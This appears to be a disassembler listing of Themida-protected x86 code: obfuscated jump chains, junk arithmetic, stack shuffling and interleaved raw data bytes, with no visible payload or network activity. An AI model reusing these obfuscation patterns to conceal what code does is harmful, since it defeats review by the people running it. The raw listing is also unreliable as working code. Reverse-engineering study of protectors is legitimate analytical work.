; ---------------------------------------------------------------------------
		db 1, 0D3h, 0E9h
		dd 8D0Ah, 3286E99Dh, 0C6810000h, 4, 8704C683h, 0E95C2434h
		dd 2ED1h
; ---------------------------------------------------------------------------


loc_58ED98:				; CODE XREF: Themida_:005996C1j
		push	dword ptr [esp]
		pop	edx
		push	54B0h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_595BD6
; ---------------------------------------------------------------------------
		db 0BBh
		dd 0
		dd 1086AE9h, 24048F00h,	2404895Ch, 0AC0DE9h, 4C38100h
		dd 83000000h, 0FF5304EBh, 5B042474h, 0E924048Fh, 0BB2Dh
		dd 265EE958h, 0FF530001h, 0E9042474h, 0B8FCh
; ---------------------------------------------------------------------------


loc_58EDF4:				; CODE XREF: Themida_:005A2F87j
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 7E2B3044h
		push	eax
		push	20C7752Fh
		pop	eax
		not	eax
		neg	eax
		shl	eax, 4
		xor	eax, 8D1CDF80h
		mov	ebx, eax
		pop	eax
		sub	ebx, esi
		jmp	loc_591A4A
; ---------------------------------------------------------------------------


loc_58EE1D:				; CODE XREF: Themida_:005A2500j
		jmp	loc_58E353
; ---------------------------------------------------------------------------
aTs_		db 'TéÆ_',0
		align 4
		dd 1DB268h, 24148900h, 4613E9h,	600FBF00h, 55680A75h, 89000004h
		dd 0BD242Ch, 81000000h,	4F4EFFC5h, 0D05E955h
		db 1, 0
; ---------------------------------------------------------------------------


loc_58EE52:				; CODE XREF: Themida_:00599052j
		mov	eax, 67186B57h
		push	edx
		mov	edx, 63BB6011h
		sub	eax, edx
		pop	edx
		xchg	eax, esi
		neg	esi
		xchg	eax, esi
		xor	eax, 55006942h
		shl	eax, 8
		jmp	loc_59A296
; ---------------------------------------------------------------------------
		db 4Ah,	81h, 0F2h
		dd 5AC7120Fh, 173AC281h, 0EAC14AAEh, 8E2C105h, 70A0E9h
		dd 85C68100h, 0E93A4E14h, 40Ah,	2B6268h, 24348900h, 0B160E9h
		dd 1C76800h, 4890000h, 0B824h, 0D0010000h, 8B581831h, 0C4832414h
		dd 245F3304h, 77C0E9h, 0EC815800h, 4, 54243C89h, 4C7815Fh
		dd 68000000h, 7DF2h, 56240C89h,	7863E9h, 4A30F00h, 68E99C24h
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58EEEB:				; CODE XREF: Themida_:00592105j
		and	ecx, 43697B25h
		sub	ecx, 0E96C1910h
		mov	eax, ecx
		jmp	loc_59FCE2
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 8104E2C1h, 8666B1C2h, 65E94274h, 290000C7h, 276DE9C8h
		dd 43680000h, 89000041h, 0E389241Ch, 4C381h, 0C3830000h
		dd 241C8704h, 8906E9h
		db 0
; ---------------------------------------------------------------------------


loc_58EF35:				; CODE XREF: Themida_:005A1CE6j
		push	edi
		jmp	loc_599E32
; ---------------------------------------------------------------------------
		db 8Fh
		dd 0C15C2404h, 71E90CE8h, 0F7FFFFF6h, 55D7F7D7h, 0C2276BBDh
		dd 0FCD815Fh, 4D33625Ch, 0C6C58145h, 814F2716h,	0A36F3EDh
		dd 5DEF017Ah, 1428BE9h,	62326800h, 815B7410h, 27580DCBh
		dd 3BF38157h, 8977377Ah, 0F4C5E9DDh, 0E9550000h, 0BC5h
		dd 0DA88E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58EF92:				; CODE XREF: Themida_:0059CA15j
		push	ebp
		jmp	loc_59E66F
; ---------------------------------------------------------------------------
		dd 50241489h, 0BEACE9h,	0F4B95100h, 8708AE03h, 87D6F7F1h
		dd 81D9F7F1h, 690604E9h, 0C0E9816Ch, 50809AE7h,	0B06318B8h
		dd 33F6253Ah, 6F051EB3h, 2528EA2Ah, 5C392F7Ch, 0ADF8E9h
		dd 5EBC100h, 0F251E9h, 5BD90900h, 0D941E957h
		db 2 dup(0)
word_58EFE6	dw 6866h		; DATA XREF: Themida_:0058E13Co
		dd 89665AD1h, 80E9241Ch, 680000C3h, 3BE93C91h, 95F5815Dh
		dd 553BE93Ch, 0F5015D5Eh, 1851E95Eh, 0C7810000h, 4, 0C626E9h
		dd 24248B00h, 21BBE9h, 2DD0F700h, 0D4EC1D03h, 158C189h
		dd 0EF8359CFh, 243C8704h, 0E515E95Ch, 0C890000h, 4B924h
		dd 0CF010000h, 0BB535559h, 4, 6CAE9h, 74FF5300h, 0E95B0424h
		dd 95EEh
; ---------------------------------------------------------------------------


loc_58F058:				; CODE XREF: Themida_:0059F2EEj
		pop	eax
		push	edx
		mov	edx, 4
		add	eax, edx
		jmp	loc_5926E4
; ---------------------------------------------------------------------------
		dw 0EAC1h
		dd 81D2F704h, 0BF0B9DEAh, 5B56E934h, 0E9590000h, 0D882h
		dd 4246C81h, 5DB23B3Fh,	13993E9h, 0E9525600h, 0D333h, 387895B8h
		dd 31CE97Bh, 0BF570000h, 18F47942h, 5A5FFB31h, 53BDE9h
		dd 243C8B00h, 4C481h, 0EC830000h, 24048904h, 936394B8h
		dd 58C1013Bh, 0E981F129h, 3B936394h, 33D2C181h,	348B1564h
		dd 4C48124h, 81000000h,	4ECh, 240C8900h, 42474FFh, 0E9240C8Bh
		dd 8A62h, 51240489h, 11434E9h, 2434FF00h, 0E1895158h, 6852BB53h
		dd 0D3F7557Dh, 97A9EB81h, 0FAE9AA82h, 66000118h, 0DAF7665Ah
		dd 66DAF766h, 7293C281h, 8BD30166h, 0C4832414h,	0E0A9E904h
		dd 0D3890000h, 0F70E9h,	2BEAB800h, 360D5851h, 0E914B32Ch
		dd 7E7h
; ---------------------------------------------------------------------------


loc_58F140:				; CODE XREF: Themida_:005A05A2j
		mov	ebx, ecx
		jmp	loc_59F300
; ---------------------------------------------------------------------------
		db 68h
		dd 7009h, 51241C89h, 0D380E9h, 4B900h, 942D0000h, 5113474Eh
		dd 442AEAB9h, 9615E93Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58F16A:				; CODE XREF: Themida_:005A0D4Aj
		add	esi, 0B3DCC4BEh
		jmp	loc_59B8CA
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 0DE680000h, 89000032h, 5568242Ch, 0E900000Bh, 0F84h
; ---------------------------------------------------------------------------


loc_58F18C:				; CODE XREF: Themida_:005A20ABj
		add	ebp, edx
		pop	edx
		push	edx
		jmp	loc_5981C7
; ---------------------------------------------------------------------------
		db 68h,	2Eh, 18h
		dd 96E90000h
		db 55h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58F19F:				; CODE XREF: Themida_:0058E9CCj
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	esi
		push	5F57h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	eax
		jmp	loc_5940A4
; ---------------------------------------------------------------------------
		db 68h,	0B2h, 12h
		dd 1C890000h, 88F38824h, 3DE95BDDh, 89000104h, 150468E6h
		dd 0FDE90000h, 5400010Dh, 5D2434FFh, 8104C483h,	4C5h, 4C58300h
		dd 8904EC83h, 0BDE9242Ch, 0BA000101h, 35D210F3h, 6289F281h
		dd 3E2D2193h, 168C90Dh,	0D3E05D0h, 148B68C9h, 6FABE924h
		dd 595E0000h, 3D3F68h, 0EC0DE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58F222:				; CODE XREF: Themida_:00598FD7j
		mov	dh, 0B8h
		not	dh
		inc	dh
		not	dh
		add	dh, 0FAh
		jmp	loc_593355
; ---------------------------------------------------------------------------


loc_58F232:				; CODE XREF: Themida_:0059BEE2j
		sub	eax, 5110560Dh
		add	eax, edi
		push	ebx
		mov	ebx, 68D477D3h
		sub	ebx, 6AF46379h
		add	ebx, 4B76013Bh
		inc	ebx
		jmp	loc_59EED5
; ---------------------------------------------------------------------------


loc_58F251:				; CODE XREF: Themida_:0059F1E0j
		push	3DFB6DC2h
		pop	esi
		and	esi, 76147260h
		shr	esi, 7
		add	esi, 5A880D77h
		push	esi
		pop	eax
		pop	esi
		mov	ebp, 0D2EC2337h
		jmp	loc_59B37D
; ---------------------------------------------------------------------------
		db 0B6h
		dd 8AEE80ADh, 0D6F6CEFEh, 6BE5E9h, 24148900h, 0D389CA89h
		dd 2434FF5Ah, 4C48359h,	565BDE01h, 42474FFh, 35B9E95Eh
		dd 0F0010000h, 10300E9h, 4EC8100h, 0E9000000h, 12B9Bh
		dd 0F181D9F7h, 94D8D431h, 0A79E9h, 66C58100h, 178E305h
		dd 66ED81C5h, 0FF78E305h
		db 34h,	24h, 58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		jmp	loc_597A29
; ---------------------------------------------------------------------------


loc_58F2D8:				; CODE XREF: Themida_:00598CBAj
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		push	5874h
		mov	[esp], ebp
		mov	ebp, 5DD93EE6h
		push	eax
		push	edx
		mov	edx, 0B6706D7h
		mov	eax, edx
		pop	edx
		shl	eax, 6
		add	eax, 0FFFFFFFFh
		xor	eax, 64F2C03h
		shl	eax, 4
		push	0
		sub	[esp], eax
		jmp	loc_595ABC
; ---------------------------------------------------------------------------
		db 58h,	56h, 0BEh
		dd 415250ACh, 8107EEC1h, 9F1385CEh, 0D7C68115h,	29577B6Ah
		dd 0F42BE9F0h, 2BFFFFFh, 2D000000h, 20840F02h, 0A668F801h
		dd 0E9000011h, 54EDh, 4C481h, 0B60F0000h, 8734FFC0h, 0E3240481h
		dd 0FF4C3F34h, 1AE92434h, 58000025h, 6C591D0Dh,	47F00565h
		dd 0B9516D19h, 6CA144EBh, 8959C829h, 0E83158C5h, 81242C8Bh
		dd 4C4h, 57166800h, 34890000h, 2938E924h, 5C680001h, 89000020h
		dd 5954240Ch, 4C181h, 54680000h, 8900007Dh, 0BA52242Ch
		dd 77265CC5h, 7E76E952h, 0D8F70000h, 0B93D3F05h, 1711E938h
		dd 0B8500001h, 14084A55h, 5958C201h, 0C0D4E9h, 406800h
		dd 79E90000h, 5E0000D7h, 8904EC83h, 0CEBF243Ch,	101A41Ah
		dd 0E9555FFAh, 0E7E8h
dword_58F3F0	dd 582434FFh, 34FF5455h, 0C4815D24h, 4,	8904EC83h, 19E92434h
					; DATA XREF: Themida_:0058E148o
		dd 81000079h, 0B7552C1h, 0E2C781ACh, 0E9132002h, 0B4B5h
		dd 5FFB895Dh, 4AF6E957h, 52590000h, 55243481h, 0E9669B0Ah
		dd 2045h, 0C181E189h, 4, 5504C183h, 0C5815D54h,	4, 5FEDE9h
		db 0
; ---------------------------------------------------------------------------


loc_58F44D:				; CODE XREF: Themida_:005A15AEj
		mov	[esp], esi
		push	esp
		pop	esi
		jmp	loc_59D2B3
; ---------------------------------------------------------------------------
		db 0F7h
aScq		db 'ÛéæŸ',0
		align 2


loc_58F45E:				; CODE XREF: Themida_:0059C0B3j
		sub	[edi+24h], esi
		push	dword ptr [esp]
		pop	esi
		push	ecx
		jmp	loc_58FE85
; ---------------------------------------------------------------------------
		db 0BEh
		dd 70742FBBh, 1C57F681h, 535214DEh, 0EA2EA9BBh,	6EBC12Ch
		dd 648AE381h, 0EB810187h, 0F0BEB96Fh, 0C15BDA89h, 0F28108E2h
		dd 0D02B151Ah, 49E9D629h
		db 4Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58F49F:				; CODE XREF: Themida_:0058F5E0j
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebp
		push	3DF93051h
		pop	ebp
		dec	ebp
		jmp	loc_5A0028
; ---------------------------------------------------------------------------
		db 80h
		dd 0F48038ECh, 0E9E6000Eh, 0E934h
; ---------------------------------------------------------------------------


loc_58F4C4:				; CODE XREF: Themida_:0059D157j
		mov	edx, 971449Ah
		push	ebp
		mov	ebp, 2BD73758h
		or	ebp, 2F476364h
		add	ebp, 4AF440Fh
		jmp	loc_595092
; ---------------------------------------------------------------------------
		dd 331F68h, 241C8900h, 6B7727BBh, 551C6806h, 3C890000h
		dd 51E78924h, 1336A8B9h, 0A4E98133h, 0E9331336h, 4607h
		dd 5713C681h, 0E95B1E58h, 1216Dh, 5304C483h, 15BCE9h
		db 0
; ---------------------------------------------------------------------------


loc_58F51D:				; CODE XREF: Themida_:0059E10Bj
		mov	[esp], ecx
		mov	cl, 99h
		mov	dh, cl
		pop	ecx
		push	63A9h
		mov	[esp], eax
		jmp	loc_5A0823
; ---------------------------------------------------------------------------


loc_58F532:				; CODE XREF: Themida_:0059B9E4j
		add	ebp, ecx
		pop	ecx
		jmp	loc_5916D1
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 53F569FAh, 2FF8CB81h, 0C3811D1Ah, 0C0841006h, 5D25E9h
		db 0
; ---------------------------------------------------------------------------


loc_58F551:				; CODE XREF: Themida_:005A1AE7j
		push	edx
		push	edi
		jmp	loc_596520
; ---------------------------------------------------------------------------


loc_58F558:				; CODE XREF: Themida_:0059E3EDj
		mov	[esp], edx
		jmp	loc_5A1082
; ---------------------------------------------------------------------------
		dd 42474FFh, 592434FFh,	0FFF0EFE9h, 81525CFFh, 4ECh, 243C8900h
		dd 0B951E789h, 7ACD3723h, 10AFE181h, 0E9817A7Ah, 553C397Dh
		dd 0D6A2E981h, 26E9250Bh, 89000029h, 0B8505BD8h, 101932BEh
		dd 2958C701h, 499368C7h, 34890000h, 4EBE24h, 0EE817226h
		dd 4A66637Ch, 7F0EEE81h, 0E94E5479h, 1B3Bh, 8B2434FFh
		dd 0C4812404h, 4, 8C8BE9h
		db 0
; ---------------------------------------------------------------------------


loc_58F5D5:				; CODE XREF: Themida_:00597A6Dj
		add	esp, 4
		push	17EFh
		jmp	loc_58F49F
; ---------------------------------------------------------------------------
		db 1, 0C7h, 58h
		dd 4505BD55h, 0F581005Fh, 2BF81894h, 5035F581h,	0EF0108DCh
		dd 83242C8Bh, 77E904C4h, 4D000063h, 8904EC83h, 0CCB9240Ch
		dd 3104053Bh, 96CAE9CDh, 75BE0000h, 81382E2Fh, 7A69C8F6h
		dd 5E6C138h, 81D6F74Eh,	80D233EEh, 8BF10180h, 89572434h
		dd 4C781E7h, 83000000h,	3C8704C7h, 575B5C24h, 5AE46851h
		dd 0C8B1DCBh, 4C48324h,	0CE5E981h, 0E9D16AA8h, 0A6FBF181h
		dd 8CE95991h, 89000027h, 74BA2414h, 812BDD68h, 49354DC2h
		dd 50136871h, 34890000h, 6158BE24h, 0D6E95C17h,	68000030h
		dd 6AFEh, 0FF240C89h, 8B042474h, 68E9240Ch, 49000119h
		dd 1A00F181h, 0E98179BAh, 798A1A81h, 16BE9h, 74EB8000h
		dd 0C022EB80h, 0C38006E3h, 0B551668Fh, 66E800F2h, 4DBAE959h
		dd 0C6810000h, 0CA85908Ah, 505EF089h, 950EE9h, 0FFD82100h
		dd 1C8B2434h, 4C48324h,	5E08950h, 4, 8704C083h,	95C2404h
		dd 0C9C2E9C2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58F6F6:				; CODE XREF: Themida_:005927E9j
		push	dword ptr [esp]
		jmp	loc_59E3C4
; ---------------------------------------------------------------------------
aXNs_i		db '¾½',1Bh,'X&Né.›',0
		dd 1C8B6600h, 33546824h, 0D7E90000h, 89000049h,	0EF815BDDh
		dd 3AAD761Fh, 0C781EF01h, 3AAD761Fh, 125BEE9h, 55595400h
		dd 4BDh, 5DE90100h, 4C181h, 0C870000h, 8C685C24h, 89000018h
		dd 8568243Ch, 54000018h, 0A181E9h, 2EC8100h, 66000000h
		dd 68240C89h, 155Fh, 0B2241489h, 116DE989h, 0DA0D0001h
		dd 2D505623h, 2A8B03DDh, 3EE9C231h, 870000B3h, 805C2414h
		dd 0EFD001C7h, 1F36866h, 24148966h, 1207EE9h, 55685900h
		dd 89000021h, 0EC83242Ch, 243C8904h, 4518E9h, 24143300h
		dd 33241431h, 61E92414h, 530000D1h, 5A19A1BBh, 8BDD895Dh
		dd 0C481241Ch, 4, 46EC581h, 0E889CF99h,	0BB53485Dh, 319D4BD3h
		dd 0D7EBC381h, 0D801F430h, 77A8055Bh, 0A70D54B1h, 536A827Dh
		dd 9204E9h, 4EBD5500h, 0F707513Bh, 2EDC1DDh, 29E9E9h, 5EF72900h
		dd 243C8758h, 6624248Bh, 66240C89h, 0E9C8B60Fh,	2040h
		dd 0BF57C101h, 26E277F2h, 79EDE9h, 81E28900h, 4C2h, 4C28100h
		dd 0E9000000h, 12F8Ah
; ---------------------------------------------------------------------------


loc_58F838:				; CODE XREF: Themida_:0059704Dj
		add	ebp, 4CB9701Dh
		pop	edx
		and	eax, ebp
		jmp	loc_58FE3D
; ---------------------------------------------------------------------------


loc_58F846:				; CODE XREF: Themida_:005A1C43j
		mov	ebx, 4
		add	edi, 6A2F62E5h
		sub	edi, ebx
		sub	edi, 6A2F62E5h
		push	dword ptr [esp]
		jmp	loc_59F2D0
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 0E9000000h, 0BEA4h, 240C8B5Bh, 504C483h, 2, 31240433h
		dd 4332404h, 24248B24h,	24048B66h, 4EC8357h, 83242489h
		dd 8B042404h, 0C483243Ch, 0E0895004h, 405h, 7D61E900h
		dd 0C7890000h, 585FF989h, 244F295Fh, 0E9D23159h, 86F7h
		dd 241C8B59h, 685D5455h, 5F26h,	68241489h, 4, 0E9D5015Ah
		dd 8E1Eh
; ---------------------------------------------------------------------------


loc_58F8D4:				; CODE XREF: Themida_:0059077Fj
		inc	ebp
		jmp	loc_597749
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0FB57E904h, 4BF0000h, 1000000h, 0BB535FFDh, 48F43730h
		dd 4312BF57h, 0D7F7280Ah, 0EBB5E9h, 24248B00h, 0E9242C89h
		dd 2A72h
; ---------------------------------------------------------------------------


loc_58F908:				; CODE XREF: Themida_:0059B473j
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		push	esi
		jmp	loc_5A03E3
; ---------------------------------------------------------------------------
		db 29h,	0CFh, 8Bh
		dd 0C481240Ch, 4, 37E9FA01h, 0F7000096h, 0D8F748D0h, 0D9052E35h
		dd 0E9C7293Eh, 0B76Ah, 0C781E789h, 4, 4C781h, 3C870000h
		dd 68E95C24h
		db 2 dup(1), 0
; ---------------------------------------------------------------------------


loc_58F94F:				; CODE XREF: Themida_:005926C9j
		pop	edx
		push	edi
		jmp	loc_5A1785
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 51D7E27Dh, 148BD629h, 5F545724h, 4C781h, 0C7830000h
		dd 243C8704h, 5FC8E9h
		db 0
; ---------------------------------------------------------------------------


loc_58F975:				; CODE XREF: Themida_:005957A7j
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		push	edx
		mov	edx, esp
		jmp	loc_5999E4
; ---------------------------------------------------------------------------
		dw 34FFh
aSpn		db '$épn',0
		align 2
		dw 93BBh
		dd 2912783Eh, 0D6F75BDEh, 0C106E6C1h, 0F68104E6h, 40AF5404h
		dd 0DEB95153h, 0BB5CA539h, 7EC05108h, 0E959CB29h, 0B53Fh
		dd 0A3180CB9h, 3AE18163h, 81515A24h, 214462E1h,	0F8EE958h
		dd 148B0000h, 0ABB4E924h, 0D8010000h, 62A6E9h, 0C2815900h
		dd 37952DD3h, 3768E9h, 0C3815D00h, 2, 74ACE9h, 9EE95A00h
		dd 810000D8h, 115F75F1h, 680FE92Ch
		db 2 dup(0)
word_58FA06	dw 77FFh		; DATA XREF: Themida_:0058E2D4o
		dd 19589D1Ch, 0E99C2404h, 0FFFFE93Fh
; ---------------------------------------------------------------------------


loc_58FA14:				; CODE XREF: Themida_:00596575j
		mov	al, 89h
		and	al, 0F6h
		jmp	loc_59B615
; ---------------------------------------------------------------------------


loc_58FA1D:				; CODE XREF: Themida_:005927D7j
		mov	edi, 5993E1Dh
		mov	ebx, 4C2F191Dh
		shl	ebx, 1
		jmp	loc_597439
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 5E71231Fh, 5503EEC1h, 992821BDh, 5DEE3114h, 0F0E9E6D1h
		dd 51FFFFEDh, 0AA63E9h,	241C8900h, 1E226857h, 3C8B6E16h
		dd 4C48124h, 81000000h,	812A92F7h, 7001E929h, 56500000h
		dd 5C11BABEh, 1615E914h, 24890000h, 4B85024h, 0E9000000h
		dd 0FFFFEB69h, 4C6815Eh, 52000000h, 0FFF4F5E9h,	4ED83FFh
		dd 4EC81h, 92E90000h, 81000118h, 0B06FE9C3h, 24348B56h
		dd 148B5452h, 4C48324h,	3FF9B850h, 0C8E94DD8h, 800000B1h
		dd 48BDFEEh, 4C48324h, 91F680h,	24148BF4h, 8004C483h, 50E990F4h
		dd 0C00000F5h, 0A92C03E0h, 0C7002134h, 0E5C78058h, 30E7C780h
		dd 0EF2C5BFEh, 0F000CD2Ch, 0EF04CD04h, 48DCE9h,	24148900h
		dd 6853E289h, 0F1Eh, 110A6E9h, 8BEE0100h, 0C483242Ch, 24343304h
		dd 33243431h, 248B2434h, 0E831E924h, 0C131FFFFh, 0A9E9C831h
		dd 5E000095h, 6597B951h, 0D1F71C55h, 0F08E981h,	81495FD7h
		dd 68C94CF1h, 16D7E9D4h, 0F2800000h, 5AD30056h,	7B3CE9h
		dd 4BD00h, 0EA890000h, 8BD6015Dh, 0C4812414h, 4, 10B5DE9h
		dd 4EC8100h, 89000000h,	0E2892414h, 4EC81h, 8DE90000h
		db 9Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58FB7F:				; CODE XREF: Themida_:00592852j
		pop	ecx
		pop	esi
		mov	eax, [esp]
		push	ebp
		push	esp
		jmp	loc_590882
; ---------------------------------------------------------------------------
aUs_0		db 'UéÖÜ',0
		dd 28E95500h
		db 34h,	2 dup(0)
byte_58FB97	db 66h			; DATA XREF: Themida_:0058E304o
		dd 50240C8Bh, 52E95854h
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58FBA3:				; CODE XREF: Themida_:0059957Ej
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	0A6Fh
		mov	[esp], ecx
		push	edx
		mov	edx, 6B6A00CFh
		mov	ecx, edx
		jmp	loc_594B19
; ---------------------------------------------------------------------------
		db 80h
		dd 0C480BDE4h, 58E53004h, 88EC8850h, 5958E2h, 0F5A66D3h
		dd 34FFC0B6h, 0E765E987h, 7068FFFFh, 0E9000042h, 5D71h
		dd 2474FF56h, 48F5E04h,	0E94FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58FC06:				; CODE XREF: Themida_:0059A3B5j
		mov	esi, 1
		push	esi
		add	dword ptr [esp], 7756554Fh
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5A14BF
; ---------------------------------------------------------------------------
		db 53h,	0B7h, 35h
		dd 4247C00h, 106A1E9h, 42E95E00h, 51000126h, 3C5321B9h
		dd 13EDE91Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58FC3E:				; CODE XREF: Themida_:005A12ADj
		sub	ebx, 0C522D1FDh
		mov	ebp, ebx
		push	dword ptr [esp]
		pop	ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_5A0AC0
; ---------------------------------------------------------------------------
		dd 4245401h, 8324148Bh,	1C8B04C4h, 4C48124h, 81000000h
		dd 802C5AEBh, 243C8B06h, 8304C483h, 348904ECh, 81E68924h
		dd 4C6h, 835E900h, 48B0001h, 4C48324h, 4C481h, 2BE90000h
		dd 5900008Ah, 6F3EE9h
		db 0
; ---------------------------------------------------------------------------


loc_58FCB1:				; CODE XREF: Themida_:00599D54j
		not	bl
		jmp	loc_594FB4
; ---------------------------------------------------------------------------


loc_58FCB8:				; CODE XREF: Themida_:0058E59Dj
		pop	dword ptr [esp]
		jmp	loc_5A15A6
; ---------------------------------------------------------------------------


loc_58FCC0:				; CODE XREF: Themida_:0059A4ABj
		mov	esi, 47FD061Eh
		jmp	loc_59FCBB
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 4C381h, 0EB810000h, 4, 5C241C87h, 5FE6E9h, 4BE00h, 74010000h
		dd 0EEE90424h, 0BB0000E2h, 15751796h, 8102E3C1h, 81445DC3h
		dd 47EB8147h, 0E9D69BC2h, 5CE1h, 5161ED81h, 0F501553Fh
		dd 3B0BA52h, 0EA8100BBh, 469C4E08h, 12684E9h
		db 0
; ---------------------------------------------------------------------------


loc_58FD21:				; CODE XREF: Themida_:00595921j
		pop	edx
		jmp	loc_59A49A
; ---------------------------------------------------------------------------
		db 33h
		dd 3C31243Ch, 243C3324h, 1EB4E95Ch, 0CD010000h,	0BBD3E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58FD3E:				; CODE XREF: Themida_:0059E66Aj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_591414
; ---------------------------------------------------------------------------


loc_58FD4F:				; CODE XREF: Themida_:00597645j
		sub	al, 0EBh
		push	dword ptr [esp]
		jmp	loc_594667
; ---------------------------------------------------------------------------
		db 68h,	9Ch, 23h
		dd 24890000h, 25E95024h
		db 32h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58FD67:				; CODE XREF: Themida_:0059C82Dj
		add	esp, 4
		dec	edi
		sub	edi, 33E29CB5h
		mov	ebp, edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	esp, 4
		push	ebx
		mov	ebx, 5DE31A77h
		neg	ebx
		xor	ebx, 0BE0C8C7Eh
		jmp	loc_598B10
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_59CFB7
; ---------------------------------------------------------------------------
		dd 1A71F181h, 0C181037Eh, 2FE1014h, 0B459E9h
		db 0
; ---------------------------------------------------------------------------


loc_58FDB9:				; CODE XREF: Themida_:0059A9EEj
		push	edi
		mov	edi, 4
		jmp	loc_5A27FC
; ---------------------------------------------------------------------------
		dd 515FFE01h, 4B9h, 59CE0100h, 8B243487h, 0E9C12424h, 0E0895006h
		dd 405h, 42D00h, 4870000h, 1C895C24h, 815B5424h, 4C3h
		dd 0E7A1E900h, 0CD010000h, 0DB68E959h, 0BA520000h, 5FD000C9h
		dd 508BC281h, 0EA815A5Bh, 0BA2B5150h, 835AD101h, 0C8904ECh
		dd 2474FF24h, 48F5904h,	72E95C24h, 100002Ah, 3C875AD7h
		dd 0BD555C24h, 4, 12B03E9h
		db 0
; ---------------------------------------------------------------------------


loc_58FE3D:				; CODE XREF: Themida_:0058F841j
		mov	ebp, [esp]
		jmp	loc_58E9C9
; ---------------------------------------------------------------------------
		db 80h,	0F6h, 0DEh
		dd 100BBE9h, 4C28300h, 0AFA1E9h, 7991BF00h, 0F781713Ch
		dd 36C7233Ch, 2F36BE56h, 0F72156A6h, 0A434E9h, 4C48300h
		dd 4244481h, 3EFD2530h,	4246C81h, 0F947751h, 5D6FE9h
		db 0
; ---------------------------------------------------------------------------


loc_58FE85:				; CODE XREF: Themida_:0058F466j
		mov	ecx, esp
		push	esi
		mov	esi, 467E4874h
		sub	esi, 467E4870h
		add	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp


loc_58FEA2:				; CODE XREF: Themida_:00597F10j
		push	5F34h
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_593691
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 4C48124h, 0E9000000h, 522Eh
dword_58FEC0	dd 9C241CF6h, 7476E9h		db 0
; ---------------------------------------------------------------------------


loc_58FEC9:				; CODE XREF: Themida_:00599038j
		pop	edi
		mov	ebp, edi
		pop	edi
		xor	ecx, ebp
		pop	ebp
		mov	ebx, ecx
		jmp	loc_596B50
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0FDE9240Ch, 5C0000D5h, 3407E9h
		db 0
; ---------------------------------------------------------------------------


loc_58FEE5:				; CODE XREF: Themida_:005960E8j
		movzx	eax, al
		lea	eax, [edi+eax*4]
		jmp	loc_596C18
; ---------------------------------------------------------------------------


loc_58FEF0:				; CODE XREF: Themida_:005919E8j
		push	esi
		push	edx
		push	42983296h
		pop	edx
		push	ebp
		mov	ebp, 4141299Bh
		jmp	loc_59D204
; ---------------------------------------------------------------------------
		db 68h
		dd 2551h, 0B9240C89h, 6D8D42C9h, 5603E9C1h, 228F68BEh
		dd 5EF10165h, 2FE7C781h, 0C9E945C8h, 5E000095h,	5318EF81h
		dd 0ECE94362h, 590000F0h, 2C781h, 3C330000h, 243C3124h
		dd 8B243C33h, 0F7662424h, 0D3E950E1h, 81FFFFEEh, 0D75188EEh
		dd 24148B6Ah, 8904EC83h, 0E189240Ch, 4C181h, 0BF570000h
		dd 4, 539DC181h, 0F9017735h, 539DE981h,	0E95F7735h, 6727h
; ---------------------------------------------------------------------------


loc_58FF80:				; CODE XREF: Themida_:005A3009j
		push	edx
		mov	dh, 8Eh
		xor	dh, 89h
		add	dh, 7Bh
		sub	al, dh
		pop	edx
		xor	al, 4Fh
		jmp	loc_5A1AA8
; ---------------------------------------------------------------------------
		db 1
aSu		db 'Øéî>',0
		align 2
word_58FF9A	dw 8B66h		; DATA XREF: Themida_:0058E1B0o
		dd 7368240Ch, 89000039h, 2DE9240Ch, 8900003Bh, 92E9242Ch
		dd 3100006Dh, 243C8BF9h, 8104C483h, 0A152FBE9h,	0C0F1810Dh
		dd 8136687Dh, 622074C9h, 0FA29E96Dh, 815EFFFFh,	926E7CFh
